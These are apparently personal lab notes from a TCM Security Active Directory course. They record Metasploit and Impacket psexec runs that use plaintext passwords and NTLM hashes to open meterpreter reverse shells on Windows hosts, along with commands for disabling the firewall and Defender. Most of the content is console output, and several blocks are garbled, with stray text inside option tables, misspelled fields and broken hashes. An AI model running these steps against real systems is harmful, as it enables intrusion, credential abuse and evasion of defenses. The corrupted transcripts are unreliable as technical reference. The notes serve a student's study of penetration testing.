

# 90.08 - Gaining Shell Access



## Gaining Shell Access

≡ TCM Security



```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name          Current Setting  Required  Description
RHOSTS        10.0.0.35      yes       The target host(s), see https://docs.metasploit.com/docs/
                                         using-metasploit/basics/using-metasploit.html
RPORT         445           yes       The SMB service port (TCP)
SERVICE_DESCRIPTION    no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME   no        The service display name
SERVICE_NAME      no        The service name
SMBDomain       MARVEL.local no        The Windows domain to use for authentication
SMBPass         Password1   no        The password for the specified username
SMBSHARE        no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser         fcastle     no        The username to authenticate as
```

## Gaining Shell Access

Through Metasploit – with a password

use exploit/windows/smb/psexec

≡ TCM Security

Name	Current Setting	Required	Description
RHOSTS	10.0.0.35	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	445	yes	The SMB service port (TCP)
SERVICE_DESCRIPTION		no	Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass	aad3b435b51404eeaa3b435b5 1404ee:6c598d4edc98d0a0c97 97ef98b869751	no	The password for the specified username
SMBSHARE		no	The share to connect to, can be an admin share (ADMIN\$,C\$,...) or a normal read/write folder share
SMBUser	administrator	no	The username to authenticate as

# Gaining Shell Access

Through Metasploit – with a hash

`use exploit/windows/smb/psexec`

If we are concerned about being picked up by Blue team/Antivirus/IDS/IPS, or we want to be silent for some other reason.

```
(kali㉿kali)-[~]
└─$ psexec.py marvel.local/fcastle:'Password1'@10.0.0.25
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.0.0.25.....
[*] Found writable share ADMIN$ 
[*] Uploading file NJFQWYMX.exe
[*] Opening SVCManager on 10.0.0.25.....
[*] Creating service hsjw on 10.0.0.25.....
[*] Starting service hsjw.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19042.631]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

# Gaining Shell Access

Through psexec – with a password

`psexec.py marvel.local/fcastle:'Password1'@10.0.0.25`

```
(kali㉿kali)-[~]
$ psexec.py administrator@10.0.0.25 -hashes aad3b435b51404eeaad3b435b51404ee:6c598d4edc98d0a0c9797ef98b869751

Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.0.0.25.....
[*] Found writable share ADMIN$ 
[*] Uploading file TicYmwEY.exe
[*] Opening SVCManager on 10.0.0.25.....
[*] Creating service RvBF on 10.0.0.25.....
[*] Starting service RvBF.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19042.631]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Windows\system32>■
```

# Gaining Shell Access

Through psexec – with a hash

psexec.py administrator@10.0.0.25 -hashes LM:NT

≡ TCM Security

Fire up MSFConsole.

Search psexec

We want /exploit/windows/smb/psexec. On mine, it was option 4.

We are going to change the payload to windows x64 instead of the default.

set payload windows/x64/meterpreter/reverse\_tcp

Set RHOST, SMBDomain, SMBPassword or SMBHash, SMBUser. Not sure if it is the user set on Active Directory, or local user set up when we first boot the machine. Tried Frank, LMonkey, and ZRoronoa.

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
=====
Name          Current Setting  Required  Description
RHOSTS        192.168.163.158   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445              yes       The SMB service port (TCP)
SERVICE_DESCRIPTION    no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no        The service display name
SERVICE_NAME     no        The service name
SMBDomain      ONEPIECE.local  no        The Windows domain to use for authentication
SMBPass        Password1      no        The password for the specified username
SMBSHARE        no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser         frank          no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
=====
Name          Current Setting  Required  Description
EXITFUNC      thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST         192.168.163.133   yes       The listen address (an interface may be specified)
LPORT         4444             yes       The listen port

Exploit target:
=====
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[-] 192.168.163.158:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.163.158:445) timed out.
[*] Exploit completed, but no session was created.
```

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name          Current Setting  Required  Description
RHOSTS        192.168.163.157  yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445              yes        The SMB service port (TCP)
SERVICE_DESCRIPTION    no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no        The service display name
SERVICE_NAME     no        The service name
SMBDomain      ONEPIECE.local  no        The Windows domain to use for authentication
SMBPass        Password1      no        The password for the specified username
SMBSHARE       $$/  no        The share to connect to, can be an admin share (ADMIN$,C$, ...) or a normal read/write folder share
SMBUser        lmonkey        no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name          Current Setting  Required  Description
EXITFUNC      thread          yes        Exit technique (Accepted: '', seh, thread, process, none)
LHOST         192.168.163.133  yes        The listen address (an interface may be specified)
LPORT         4444             yes        The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.157:445 - Connecting to the server...
[-] 192.168.163.157:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.163.157:445) timed out.
[*] Exploit completed, but no session was created.
```

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name          Current Setting  Required  Description
RHOSTS        192.168.163.157   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445              yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no        The service display name
SERVICE_NAME   no        The service name
SMBDomain     ONEPIECE.local  no        The Windows domain to use for authentication
SMBPass        Password2      no        The password for the specified username
SMBSHARE       no        The Share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser        ZRoronoa      no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name          Current Setting  Required  Description
EXITFUNC      thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST         192.168.163.133  yes       The listen address (an interface may be specified)
LPORT         4444             yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.157:445 - Connecting to the server...
[-] 192.168.163.157:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.163.157:445) timed out.
[*] Exploit completed, but no session was created.

```

Machines were up. One of the tries the client was logged in the account. Not sure what is happening.

# 09/30/2024 - 23:57 - (Update by the end of session)

Windows command to disable firewall: "#netsh advfirewall set allprofiles state off"

Do not forget to disable the client Firewall.

It was not working, but then after Disabling the Firewall, the error message changed:

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOST    192.168.163.158  yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT    445               yes        The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no        The service display name
SERVICE_NAME   no        The service name
SMBDomain  ONEPIECE.local  no        The Windows domain to use for authentication
SMBPass    Password2       no        The password for the specified username
SMBSHARE   exploit       no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser    ZRoronoa       no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread          yes        Exit technique (Accepted: '', seh, thread, process, none)
LHOST    192.168.163.133  yes        The listen address (an interface may be specified)
LPORT    4444              yes        The listen port

Exploit target:
Id  Name
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445|ONEPIECE.local as user 'ZRoronoa' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[-] 192.168.163.158:445 - Service failed to start - ACCESS_DENIED
[*] Exploit completed, but no session was created.
```

We have now access denied. And, if you are logged in the Client and can see the screen before running the exploit, Windows Defender will notify about threads immediately after you run the exploit. Then, I disabled Windows Defender, and the exploit worked.

```
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445|ONEPIECE.local as user 'ZRoronoa' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[*] 192.168.163.158:445 - Service start timed out, OK if running a command or non-service executable ...
[*] Sending stage (200774 bytes) to 192.168.163.158
[*] Meterpreter session 1 opened (192.168.163.133:4444 → 192.168.163.158:55229) at 2024-10-02 00:15:44 -0400

meterpreter > dir
Listing: C:\Windows\system32
Mode      Size     Type  Last modified      Name
040776/rwxrwxrwx  0      dir   2019-12-07 04:49:03 -0500  0409
100666/rw-rw-rw- 12088   fil   2019-12-07 04:08:37 -0500  69fe178f-26e7-43a9-aa7d-2b616b672dde_eventlogservice.dll
100666/rw-rw-rw- 13280   fil   2024-10-01 22:22:53 -0400  6bea57fb-8dfb-4177-9ae8-42e8b3529933_RuntimeDeviceInstall.dll
100666/rw-rw-rw- 3176    fil   2019-12-07 04:09:00 -0500  @AdvancedKeySettingsNotification.png
100666/rw-rw-rw- 232     fil   2019-12-07 04:08:44 -0500  @AppHelpToast.png
100666/rw-rw-rw- 308     fil   2019-12-07 04:08:45 -0500  @AudioToastIcon.png
100666/rw-rw-rw- 450     fil   2019-12-07 04:08:21 -0500  @BackgroundAccessToastIcon.png
100666/rw-rw-rw- 330     fil   2019-12-07 04:08:52 -0500  @EnrollmentToastIcon.png
100666/rw-rw-rw- 354     fil   2019-12-07 04:09:37 -0500  @StorageSenseToastIcon.png
100666/rw-rw-rw- 404     fil   2019-12-07 04:09:07 -0500  @VpnToastIcon.png
```

```
meterpreter > sysinfo
Computer       : THEROBOT
OS            : Windows 10 (10.0 Build 19045).
Architecture   : x64
System Language: en_US
Domain        : ONEPIECE
Logged On Users: 7
Meterpreter    : x64/windows
meterpreter > 
```

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.158  yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445               yes        The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no        The service display name
SERVICE_NAME   no        The service name
SMBDomain   ONEPIECE.local  no        The Windows domain to use for authentication
SMBPass     Password1      no        The password for the specified username
SMBSHARE    $  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser     LMonkey        no        The username to authenticate as
192.168.163.158  codeshell\...  bookstoreX
Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXTFUNC   thread          yes        Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133  yes        The listen address (an interface may be specified)
LPORT     4444             yes        The listen port
Exploit target:
Id  Name
--  --
0   Automatic  password.txt  capstoneVu...
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server ...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445|ONEPIECE.local as user 'LMonkey' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[*] 192.168.163.158:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (200774 bytes) to 192.168.163.158
[*] Meterpreter session 2 opened (192.168.163.133:4444 → 192.168.163.158:55254) at 2024-10-02 00:33:10 -0400
meterpreter > 
```

It worked with both users set up on Active Directory. For me, LMonkey, and ZRoronoa. Nami, and Frank did not work.

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.158  yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445               yes        The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no        The service display name
SERVICE_NAME   no        The service name
SMBDomain   ONEPIECE.local  no        The Windows domain to use for authentication
SMBPass     Password1      no        The password for the specified username
SMBSHARE    $  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser     Frank           no        The username to authenticate as
192.168.163.158  codeshell\...  bookstoreX
Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXTFUNC   thread          yes        Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133  yes        The listen address (an interface may be specified)
LPORT     4444             yes        The listen port
Exploit target:
Id  Name
--  --
0   Automatic  password.txt  capstoneVu...
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server ...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445|ONEPIECE.local as user 'Frank'...
[*] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError: Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) > 
```

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.158  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445               yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no        The service display name
SERVICE_NAME   no        The service name
SMBDomain    ONEPIECE.local  no       The Windows domain to use for authentication
SMBPass      Password1      no       The password for the specified username
SMBSHARE     \\bookStore\  no       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser     Nami             no       The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133  yes       The listen address (an interface may be specified)
LPORT     4444              yes       The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445\ONEPIECE.local as user 'Nami'...
[-] 192.168.163.158:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError: Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) > set SMBUser .\Nami
SMBUser => .\Nami
msf6 exploit(windows/smb/psexec) > run

```

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.158  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445               yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no        The service display name
SERVICE_NAME   no        The service name
SMBDomain    THENAVIGATOR.local  no       The Windows domain to use for authentication
SMBPass      Password1      no       The password for the specified username
SMBSHARE     \\bookStore\  no       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser     Nami             no       The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133  yes       The listen address (an interface may be specified)
LPORT     4444              yes       The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

```

## 10/1/2024 - 23:39 - (Update by the end of session)

I was thinking about the firewall/antivirus issue and if we go back and try to redo the part where we try to run a command in the target machine using the #ntlmrelayx.py command in the SMB Relay attack lesson, it should work now. The antivirus and firewall were up at that point, so it might have blocked the command from running in the target.

Another update here is that we do NOT need the SMBDomain to be set when we are exploiting local user accounts, like Nami and Frank. We can issue "#unset SMBDomain" or "#set SMBDomain ." in Metasploit to unset SMBDomain value.

Let us try exploiting Nami and Frank just one more time.

Frank IP is 192.168.163.158 .

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
[+] Desktop/TCP-ActiveDirectory-Lab/
  Name          Current Setting  Required  Description
  RHOSTS        192.168.163.158  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT         445            yes       The SMB service port (TCP)
  SERVICE_DESCRIPTION    no        Service description to be used on target for pretty listing
  SERVICE_DISPLAY_NAME  no        The service display name
  SERVICE_NAME     no        The service name
  SMBDomain      .             no        The Windows domain to use for authentication
  SMBPass        Password1  weDir$  no        The password for the specified username
  SMBSHARE       no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  SMBUser        Frank        no        The username to authenticate as
Payload options (windows/x64/meterpreter/reverse_tcp):
[+] Desktop/TCP-ActiveDirectory-Lab/SMB-Relay-Attack
  Name          Current Setting  Required  Description
  EXITFUNC      thread        yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST         192.168.163.133  yes       The listen address (an interface may be specified)
  LPORT         4444           yes       The listen port
Exploit target:
  Id  Name
  --  --
  0  Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445 as user 'Frank'...
[-] 192.168.163.158:445 - Exploit failed [no-access]: RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED
[*] Exploit completed, but no session was created.
```

Tried with local Administrator, but it did not work either.

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name          Current Setting  Required  Description
RHOSTS        192.168.163.158   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445                yes       The SMB Service port (TCP)
SERVICE_NAME  .\TCH-ActiveDirectory-Lab  no        Service name to be used on target for pretty listing
SERVICE_DISPLAY_NAME .\TCH-ActiveDirectory-Lab  no        Service display name
SERVICE_NAME  .\TCH-ActiveDirectory-Lab  no        The service name
SMBDomain    .\Deeky  no        The Windows domain to use for authentication
SMBPass       aad3b435b1404eeaaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f  no        The password for the specified username
SMBSHARE     \\\Deeky\  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser      \Deeky\ Administrator  no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name          Current Setting  Required  Description
EXITFUNC      thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST         192.168.163.133  yes       The listen address (an interface may be specified)
LPORT         4444             yes       The listen port

Exploit target:
           -> [x] /Deeky/TCH-ActiveDirectory-Lab/SMB-Relay-Attack

Id  Name
--  --
 0  Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445  - Connecting to the server ...
[*] 192.168.163.158:445  - Authenticating to 192.168.163.158:445 as user 'Administrator' ...
[*] 192.168.163.158:445  - Executing the payload...
[*] 192.168.163.158:445  - Service failed to start - ACCESS_DENIED
[*] Exploit completed, but no session was created.
```

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name          Current Setting  Required  Description
RHOSTS        192.168.163.158   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT          445            yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  TCM-ActiveDirectory-Lab  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  TCM-ActiveDirectory-Lab  no        The service display name
SERVICE_NAME    TCM-ActiveDirectory-Lab  no        The service name
SMBDomain      .\Administrator  no        The Windows domain to use for authentication
SMBPass         aad3b435b51404ead3b435b51404ee7facdc498ed1680c4fd1448319a8c04f  no        The password for the specified username
SMBSHARE        SMB-Delay-Attack  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUSER        Administrator  no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name          Current Setting  Required  Description
EXITFUNC      thread        yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST          192.168.163.133  yes       The listen address (an interface may be specified)
LPORT          4444           yes       The listen port

Exploit target:
Id  Name
--  --
0  Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445 as user 'Administrator' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[-] 192.168.163.158:445 - Service failed to start - ACCESS_DENIED
[*] Exploit completed, but no session was created.
```

Even tried with "administrator" all lower case.

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
  Desktop/TCR-ActiveDirectory-Lab/
    Name      Current Setting          Required  Description
    RHOSTS    192.168.163.158        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
    REPORT    445                   yes       The SMB service port (TCP)
    SERVICE_DESCRIPTION  Desktop/TCR-ActiveDirectory-Lab
    SERVICE_DISPLAY_NAME Desktop/TCR-ActiveDirectory-Lab
    SERVICE_NAME   .
    SMBDomain    .
    SMBPass     aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f  no        The password for the specified username
    SMBSHARE   .
    SMBUser    administrator        no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
    SMBUser   administrator        no        The username to authenticate as

  /Desktop/TCR-ActiveDirectory-Lab/SMB-Relay-Attack
Payload options (windows/x64/meterpreter/reverse_tcp):
  Name      Current Setting          Required  Description
  EXITFUNC  thread                yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST    192.168.163.133        yes       The listen address (an interface may be specified)
  LPORT    4444                  yes       The listen port

Exploit target:
  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => run
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445 as user 'administrator' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[-] 192.168.163.158:445 - Service failed to start - ACCESS_DENIED
[*] Exploit completed, but no session was created.

```

Also tried in the Client\_2, to see if it would work there. The password is the same in both accounts. It did not work either.

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
  Desktop/TCR-ActiveDirectory-Lab/
    Name      Current Setting          Required  Description
    RHOSTS    192.168.163.157        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
    REPORT    445                   yes       The SMB service port (TCP)
    SERVICE_DESCRIPTION  Desktop/TCR-ActiveDirectory-Lab/SMB-Relay-Attack
    SERVICE_DISPLAY_NAME Desktop/TCR-ActiveDirectory-Lab/SMB-Relay-Attack
    SERVICE_NAME   .
    SMBDomain    .
    SMBPass     aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f  no        The password for the specified username
    SMBSHARE   .
    SMBUser    administrator        no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
    SMBUser   administrator        no        The username to authenticate as

  Payload options (windows/x64/meterpreter/reverse_tcp):
  Name      Current Setting          Required  Description
  EXITFUNC  thread                yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST    192.168.163.133        yes       The listen address (an interface may be specified)
  LPORT    4444                  yes       The listen port

Exploit target:
  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.157:445 - Connecting to the server...
[*] 192.168.163.157:445 - Authenticating to 192.168.163.157:445 as user 'administrator' ...
[*] 192.168.163.157:445 - Selecting PowerShell target
[*] 192.168.163.157:445 - Executing the payload...
[-] 192.168.163.157:445 - Service failed to start - ACCESS_DENIED
[*] Exploit completed, but no session was created.

```

Windows command to turn firewall off: "#netsh advfirewall set allprofiles state off"

Possible solution involves installing and running the following script:

<https://github.com/Dewalt-arch/pimpmyadlab>

Antivirus real time protection was enabled. Disabled it, and now ready to try again. I thought everything was turned off.

Big shout to [bl34chig0.github.io/](https://bl34chig0.github.io/) that helped with the Antivirus tip.

It worked with the password spelled out.

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.158  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445              yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no        The service display name
SERVICE_NAME   no        The service name
SMBDomain   .             no        The Windows domain to use for authentication
SMBPass     Password!    no        The password for the specified username
SMBSHARE    $Recycle.Bin  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser     Administrator  no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread         yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445 as user 'Administrator' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[*] 192.168.163.158:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (200774 bytes) to 192.168.163.158
[*] Meterpreter session 1 opened (192.168.163.133:4444 → 192.168.163.158:50408) at 2024-10-04 22:53:29 -0400

meterpreter > sysinfo
Computer : THEROBOT
OS       : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain   : ONEPIECE
Logged On Users : 7

```

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.157  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445              yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no        The service display name
SERVICE_NAME   no        The service name
SMBDomain   .             no        The Windows domain to use for authentication
SMBPass     Password!    no        The password for the specified username
SMBSHARE    $Recycle.Bin  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser     Administrator  no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread         yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.157:445 - Connecting to the server...
[*] 192.168.163.157:445 - Authenticating to 192.168.163.157:445 as user 'Administrator' ...
[*] 192.168.163.157:445 - Selecting PowerShell target
[*] 192.168.163.157:445 - Executing the payload...
[*] 192.168.163.157:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.163.157:445 - Sending stage (200774 bytes) to 192.168.163.157
[*] Meterpreter session 2 opened (192.168.163.133:4444 → 192.168.163.157:52215) at 2024-10-04 22:58:44 -0400

meterpreter > cd ../../..
meterpreter > dir
Listing: C:\

Mode          Size  Type  Last modified      Name
040777/rwxrwxrwx 4096  dir   2024-09-29 16:04:18 -0400  $Recycle.Bin
